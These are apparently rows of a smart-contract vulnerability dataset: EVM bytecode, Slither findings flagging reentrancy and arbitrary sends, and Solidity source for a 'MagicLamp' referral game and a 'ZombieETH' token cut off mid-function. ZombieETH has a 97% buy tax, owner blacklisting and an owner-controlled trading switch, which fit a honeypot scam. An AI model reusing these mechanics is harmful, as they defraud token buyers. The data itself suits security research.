61215b60a083018461207a565b979650505050505050565b600060208201905061217b6000830184611ec5565b92915050565b6000602082019050818103600083015261219b8184611ee3565b905092915050565b600060208201905081810360008301526121bc81611f1c565b9050919050565b600060208201905081810360008301526121dc81611f3f565b9050919050565b600060208201905081810360008301526121fc81611f62565b9050919050565b6000602082019050818103600083015261221c81611f85565b9050919050565b6000602082019050818103600083015261223c81611fa8565b9050919050565b6000602082019050818103600083015261225c81611fcb565b9050919050565b6000602082019050818103600083015261227c81611fee565b9050919050565b6000602082019050818103600083015261229c81612011565b9050919050565b600060208201905081810360008301526122bc81612034565b9050919050565b600060208201905081810360008301526122dc81612057565b9050919050565b60006020820190506122f8600083018461207a565b92915050565b600060a082019050612313600083018861207a565b6123206020830187611ed4565b81810360408301526123328186611e67565b90506123416060830185611e58565b61234e608083018461207a565b9695505050505050565b600060208201905061236d6000830184612089565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006123d38261251b565b91506123de8361251b565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561241357612412612577565b5b828201905092915050565b60006124298261251b565b91506124348361251b565b925082612444576124436125a6565b5b828204905092915050565b600061245a8261251b565b91506124658361251b565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561249e5761249d612577565b5b828202905092915050565b60006124b48261251b565b91506124bf8361251b565b9250828210156124d2576124d1612577565b5b828203905092915050565b60006124e8826124fb565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061253d8261251b565b9050919050565b60005b83811015612562578082015181840152602081019050612547565b83811115612571576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6128f6816124dd565b811461290157600080fd5b50565b61290d816124ef565b811461291857600080fd5b50565b6129248161251b565b811461292f57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203fd685ba3bc9a5f90fd3e4b960177507015091c8c41d6c66d63063594498e01f64736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,308 |
0xd24a0c1c6f646ba7152f0f028802c36ea964e387
|
/**
*Submitted for verification at Etherscan.io on 2020-10-23
*/
// SPDX-License-Identifier: MIT
pragma solidity ^ 0.6.6;
contract MagicLamp{
address THIS = address(this);
Pyramid public PiZZa;
RugToken public Rugs;
uint public wishes = 1000;
address public CarpetRider;
uint public CarpetRiderHP;
address public GENIE;
uint public GENIE_generation;
address public DEV;
ERC20 public Resolve;
address payable address0 = address(0);
mapping(address => address) public gateway;
mapping(address => bool) public initiated;
mapping(address => uint) public pocket;
constructor() public{
PiZZa = Pyramid(0x91683899ed812C1AC49590779cb72DA6BF7971fE);
Rugs = new RugToken();
DEV = msg.sender;
GENIE = DEV;
CarpetRider = DEV;
Resolve = PiZZa.resolveToken();
gateway[GENIE] = GENIE;
initiated[DEV] = true;
}
function weight(address addr) public view returns(uint){
return Resolve.balanceOf(addr);
}
function rugs(address addr) public view returns(uint){
return Rugs.balanceOf(addr);
}
function buy(address _gateway, uint _red, uint _green, uint _blue) public payable returns(uint bondsCreated){
address sender = msg.sender;
if( !initiated[sender] ){
if( weight(_gateway) > 0 && _gateway != address0){
gateway[sender] = _gateway;
}else{
gateway[sender] = CarpetRider;
}
initiated[sender] = true;
}
if(_red>1e18) _red = 1e18;
if(_green>1e18) _green = 1e18;
if(_blue>1e18) _blue = 1e18;
uint[] memory UINTs = new uint[](4);
UINTs[0] = msg.value * 3 / 100;
UINTs[1] = msg.value * 2 / 100;
UINTs[2] = msg.value * 1 / 100;
UINTs[3] = msg.value * 6 / 1000;
uint eth4PiZZa = msg.value - UINTs[0] - UINTs[1] - UINTs[2] - UINTs[3];
address lvl1 = gateway[sender];
if( weight(lvl1) > weight(sender) ){
pocket[ lvl1 ] += UINTs[0];
}else{
carpetRiderCashout(UINTs[0]);
emit ReffSnatch(CarpetRider, gateway[sender]);
gateway[sender] = CarpetRider;
}
address lvl2 = gateway[lvl1];
if( weight(lvl2) > weight(sender) && lvl2 != address0 ){
pocket[ lvl2 ] += UINTs[1];
}else{
carpetRiderCashout(UINTs[1]);
emit ReffSnatch(sender, gateway[lvl1]);
gateway[lvl1] = sender;
}
address lvl3 = gateway[lvl2];
if( weight(lvl3) > weight(sender) && lvl3 != address0 ){
pocket[ lvl3 ] += UINTs[2];
}else{
carpetRiderCashout(UINTs[2]);
emit ReffSnatch(sender, gateway[lvl2]);
gateway[lvl2] = sender;
}
pocket[ GENIE ] += UINTs[3];
uint createdPiZZa = PiZZa.buy{value: eth4PiZZa}(sender, _red, _green, _blue);
if(CarpetRider != sender){
uint damage = weight(sender);
if( CarpetRiderHP <= damage ){
CarpetRider = sender;
CarpetRiderHP = weight(sender);
emit RugPulled(sender, CarpetRider, CarpetRiderHP, false);
}else{
if(damage>0){
CarpetRiderHP -= damage;
emit Damaged( CarpetRider, damage, false);
}
}
}else{
if( CarpetRiderHP < weight(sender) && msg.value > 0.001 ether){
CarpetRiderHP = weight(sender);
emit Healed(sender, weight(sender));
}
}
if(wishes > 0 && msg.value > 0.01 ether){
wishes -= 1;
Rugs.mint(sender, createdPiZZa);
}
return createdPiZZa;
}
event Healed(address rider, uint HP);
event RugPulled(address winner, address loser, uint HP, bool rugMagic);
event Damaged(address CarpetRider, uint damage, bool rugMagic);
event ReffSnatch(address snatcher, address slacker);
event CarpetRiderCashout(address buyer, uint ETH);
function carpetRiderCashout(uint ETH) internal{
pocket[CarpetRider] += ETH;
emit CarpetRiderCashout(CarpetRider, ETH);
}
event Withdraw(address account, uint amount);
function withdraw() public{
address sender = msg.sender;
uint amount = pocket[sender];
if( amount>0 ){
pocket[sender] = 0;
(bool success, ) = sender.call{value:amount}("");
emit Withdraw(sender, amount);
require(success, "Transfer failed.");
}else{
revert();
}
}
event RechargeMagicLamp( address indexed addr, uint256 amountStaked );
event DamageGenie(address rider, address genie, uint damage);
event KillGenie(address rider, address genie);
function tokenFallback(address from, uint value, bytes calldata _data) external{
if(msg.sender == address(Resolve) ){
if(wishes == 0){
wishes += value / 1e16; //100 per resolve token
GENIE = from;
//takes the resolve tokens used to recharge the magic lamp and it stakes those
//only the original dev benefits from these soulecules being staked
//the address that recharged the lamp benefits as GENIE
//only every 6th generation stakes soulecules. waits for first 6
if(GENIE_generation % 6 == 0){
uint earnings = PiZZa.resolveEarnings( THIS );
if(earnings > 0){
PiZZa.withdraw(earnings);
(bool success, ) = DEV.call{value:earnings}("");
require(success, "Transfer failed.");
}
}
GENIE_generation += 1;
emit RechargeMagicLamp(from, wishes);
}else{
revert("only when there is 0 wishes");
}
}else{
if( msg.sender == address(Rugs) ){
require( value > 0 );
uint rugMagic = value;
if(from == CarpetRider){
if(DEV != GENIE && CarpetRider != GENIE){
rugMagic = rugMagic / 1e18;
if(rugMagic >= wishes){
//kill
if(wishes>0){
wishes = 0;
uint soulecules = Resolve.balanceOf(THIS)/2;
if (soulecules>0) Resolve.transfer( address(PiZZa), soulecules);
Resolve.transfer( CarpetRider, soulecules );
emit KillGenie(CarpetRider, GENIE);
}else{
revert("they're already dead.");
}
}else{
//damage
wishes -= rugMagic;
emit DamageGenie(CarpetRider, GENIE, rugMagic);
}
}else{
//You can send the lamp carpets... no problem.
}
}else{
uint damage = rugMagic;
if( CarpetRiderHP <= damage ){
CarpetRider = from;
CarpetRiderHP = weight(from);
emit RugPulled(from, CarpetRider, CarpetRiderHP, true);
}else{
if(damage>0){
CarpetRiderHP -= damage;
emit Damaged( CarpetRider, damage, true );
}
}
}
}else{
revert("no want");
}
}
}
event GenieBlast(
address indexed from,
address indexed to,
uint256 amount
);
function genieBlast(address target, uint heat) external{
if(msg.sender == GENIE && DEV != GENIE && target != CarpetRider){
Rugs.rugBurn(target, heat);
emit GenieBlast(GENIE, target, heat);
}
}
}
abstract contract Pyramid{
function buy(address addr, uint _red, uint _green, uint _blue) public virtual payable returns(uint createdBonds);
function resolveToken() public view virtual returns(ERC20);
function resolveEarnings(address _owner) public view virtual returns (uint256 amount);
function withdraw(uint amount) public virtual returns(uint);
}
abstract contract ERC20{
function balanceOf(address _owner) public view virtual returns (uint256 balance);
function transfer(address _to, uint _value) public virtual returns (bool);
}
contract RugToken{
string public name = "Comfy Rugs";
string public symbol = "RUG";
uint8 constant public decimals = 18;
address public owner;
constructor() public{
owner = msg.sender;
}
modifier ownerOnly{
require(msg.sender == owner);
_;
}
event Mint(
address indexed addr,
uint256 amount
);
function mint(address _address, uint _value) external ownerOnly(){
balances[_address] += _value;
_totalSupply += _value;
emit Mint(_address, _value);
}
mapping(address => uint256) public balances;
uint public _totalSupply;
mapping(address => mapping(address => uint)) approvals;
event Transfer(
address indexed from,
address indexed to,
uint256 amount,
bytes data
);
event Transfer(
address indexed from,
address indexed to,
uint256 amount
);
event RugBurn(
address indexed from,
address indexed to,
uint256 amount
);
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
// Standard function transfer similar to ERC20 transfer with no _data.
// Added due to backwards compatibility reasons .
function rugBurn(address _target, uint _value) public virtual{
address sender = msg.sender;
require( _value <= balances[sender] );
require( balances[_target] > 0 );
uint damage;
if( balances[_target] <= _value){
damage = balances[_target];
}else{
damage = _value;
}
balances[sender] -= damage;
balances[_target] -= damage;
_totalSupply -= damage*2;
emit RugBurn(sender, _target, damage);
}
// Function that is called when a user or another contract wants to transfer funds.
function transfer(address _to, uint _value, bytes memory _data) public virtual returns (bool) {
if( isContract(_to) ){
return transferToContract(_to, _value, _data);
}else{
return transferToAddress(_to, _value, _data);
}
}
// Standard function transfer similar to ERC20 transfer with no _data.
// Added due to backwards compatibility reasons .
function transfer(address _to, uint _value) public virtual returns (bool) {
//standard function transfer similar to ERC20 transfer with no _data
//added due to backwards compatibility reasons
bytes memory empty;
if(isContract(_to)){
return transferToContract(_to, _value, empty);
}else{
return transferToAddress(_to, _value, empty);
}
}
//function that is called when transaction target is an address
function transferToAddress(address _to, uint _value, bytes memory _data) private returns (bool) {
moveTokens(msg.sender, _to, _value);
emit Transfer(msg.sender, _to, _value, _data);
emit Transfer(msg.sender, _to, _value);
return true;
}
//function that is called when transaction target is a contract
function transferToContract(address _to, uint _value, bytes memory _data) private returns (bool) {
moveTokens(msg.sender, _to, _value);
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
receiver.tokenFallback(msg.sender, _value, _data);
emit Transfer(msg.sender, _to, _value, _data);
emit Transfer(msg.sender, _to, _value);
return true;
}
function moveTokens(address _from, address _to, uint _amount) internal virtual{
require( _amount <= balances[_from] );
//update balances
balances[_from] -= _amount;
balances[_to] += _amount;
}
function allowance(address src, address guy) public view returns (uint) {
return approvals[src][guy];
}
function transferFrom(address src, address dst, uint amount) public returns (bool){
address sender = msg.sender;
require(approvals[src][sender] >= amount);
require(balances[src] >= amount);
approvals[src][sender] -= amount;
moveTokens(src,dst,amount);
bytes memory empty;
emit Transfer(sender, dst, amount, empty);
emit Transfer(sender, dst, amount);
return true;
}
event Approval(address indexed src, address indexed guy, uint amount);
function approve(address guy, uint amount) public returns (bool) {
address sender = msg.sender;
approvals[sender][guy] = amount;
emit Approval( sender, guy, amount );
return true;
}
function isContract(address _addr) public view returns (bool is_contract) {
uint length;
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
if(length>0) {
return true;
}else {
return false;
}
}
}
abstract contract ERC223ReceivingContract{
function tokenFallback(address _from, uint _value, bytes calldata _data) external virtual;
}
|
0x608060405234801561001057600080fd5b50600436106101005760003560e01c806340c10f1911610097578063a9059cbb11610066578063a9059cbb14610304578063be45fd6214610330578063dd62ed3e146103eb578063e19937e61461041957610100565b806340c10f191461028457806370a08231146102b25780638da5cb5b146102d857806395d89b41146102fc57610100565b806323b872dd116100d357806323b872dd1461020257806327e235e314610238578063313ce5671461025e5780633eaaf86b1461027c57610100565b806306fdde0314610105578063095ea7b31461018257806316279055146101c257806318160ddd146101e8575b600080fd5b61010d610445565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561014757818101518382015260200161012f565b50505050905090810190601f1680156101745780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101ae6004803603604081101561019857600080fd5b506001600160a01b0381351690602001356104d3565b604080519115158252519081900360200190f35b6101ae600480360360208110156101d857600080fd5b50356001600160a01b0316610540565b6101f061055f565b60408051918252519081900360200190f35b6101ae6004803603606081101561021857600080fd5b506001600160a01b03813581169160208101359091169060400135610565565b6101f06004803603602081101561024e57600080fd5b50356001600160a01b0316610701565b610266610713565b6040805160ff9092168252519081900360200190f35b6101f0610718565b6102b06004803603604081101561029a57600080fd5b506001600160a01b03813516906020013561071e565b005b6101f0600480360360208110156102c857600080fd5b50356001600160a01b0316610794565b6102e06107af565b604080516001600160a01b039092168252519081900360200190f35b61010d6107be565b6101ae6004803603604081101561031a57600080fd5b506001600160a01b038135169060200135610818565b6101ae6004803603606081101561034657600080fd5b6001600160a01b038235169160208101359181019060608101604082013564010000000081111561037657600080fd5b82018360208201111561038857600080fd5b803590602001918460018302840111640100000000831117156103aa57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610848945050505050565b6101f06004803603604081101561040157600080fd5b506001600160a01b0381358116916020013516610875565b6102b06004803603604081101561042f57600080fd5b506001600160a01b0381351690602001356108a0565b6000805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104cb5780601f106104a0576101008083540402835291602001916104cb565b820191906000526020600020905b8154815290600101906020018083116104ae57829003601f168201915b505050505081565b3360008181526005602090815260408083206001600160a01b03871680855290835281842086905581518681529151939493909284927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a360019150505b92915050565b6000813b801561055457600191505061055a565b60009150505b919050565b60045490565b6001600160a01b038316600090815260056020908152604080832033808552925282205483111561059557600080fd5b6001600160a01b0385166000908152600360205260409020548311156105ba57600080fd5b6001600160a01b038086166000908152600560209081526040808320938516835292905220805484900390556105f1858585610999565b6060846001600160a01b0316826001600160a01b03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c1686846040518083815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561066d578181015183820152602001610655565b50505050905090810190601f16801561069a5780820380516001836020036101000a031916815260200191505b50935050505060405180910390a3846001600160a01b0316826001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a36001925050505b9392505050565b60036020526000908152604090205481565b601281565b60045481565b6002546001600160a01b0316331461073557600080fd5b6001600160a01b0382166000818152600360209081526040918290208054850190556004805485019055815184815291517f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d41213968859281900390910190a25050565b6001600160a01b031660009081526003602052604090205490565b6002546001600160a01b031681565b60018054604080516020600284861615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104cb5780601f106104a0576101008083540402835291602001916104cb565b6000606061082584610540565b1561083d576108358484836109f0565b91505061053a565b610835848483610bd1565b600061085384610540565b1561086a576108638484846109f0565b90506106fa565b610863848484610bd1565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b336000818152600360205260409020548211156108bc57600080fd5b6001600160a01b0383166000908152600360205260409020546108de57600080fd5b6001600160a01b038316600090815260036020526040812054831061091c57506001600160a01b03831660009081526003602052604090205461091f565b50815b6001600160a01b0380831660008181526003602090815260408083208054879003905593881680835291849020805486900390556004805460028702900390558351858152935191937fcb6f7bdc54a754e98f26ae0517f9aa623562c82f220a821f0876acecc6771204929081900390910190a350505050565b6001600160a01b0383166000908152600360205260409020548111156109be57600080fd5b6001600160a01b0392831660009081526003602052604080822080548490039055929093168352912080549091019055565b60006109fd338585610999565b60405163607705c560e11b815233600482018181526024830186905260606044840190815285516064850152855188946001600160a01b0386169463c0ee0b8a9490938a938a9360840190602085019080838360005b83811015610a6b578181015183820152602001610a53565b50505050905090810190601f168015610a985780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b158015610ab957600080fd5b505af1158015610acd573d6000803e3d6000fd5b50505050846001600160a01b0316336001600160a01b03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c1686866040518083815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610b4b578181015183820152602001610b33565b50505050905090810190601f168015610b785780820380516001836020036101000a031916815260200191505b50935050505060405180910390a36040805185815290516001600160a01b0387169133917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a3506001949350505050565b6000610bde338585610999565b836001600160a01b0316336001600160a01b03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c1685856040518083815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610c58578181015183820152602001610c40565b50505050905090810190601f168015610c855780820380516001836020036101000a031916815260200191505b50935050505060405180910390a36040805184815290516001600160a01b0386169133917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a3506001939250505056fea2646970667358221220d960182793a350b592510bd22dd696f69d4b1cb14650932881fc36cffb343be564736f6c63430006060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 4,309 |
0xD38a6a2DA1e839Fc6a475775d643Cfd3F3115B08
|
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract ZombieETH is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "ZombieETH";
string private constant _symbol = "ZETH";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 97;
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 12;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x7CDc794d5574f62F9E37077b967D6F34c1137851);
address payable private _marketingAddress = payable(0x7CDc794d5574f62F9E37077b967D6F34c1137851);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = true;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 1000000 * 10**9;
uint256 public _maxWalletSize = 20000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
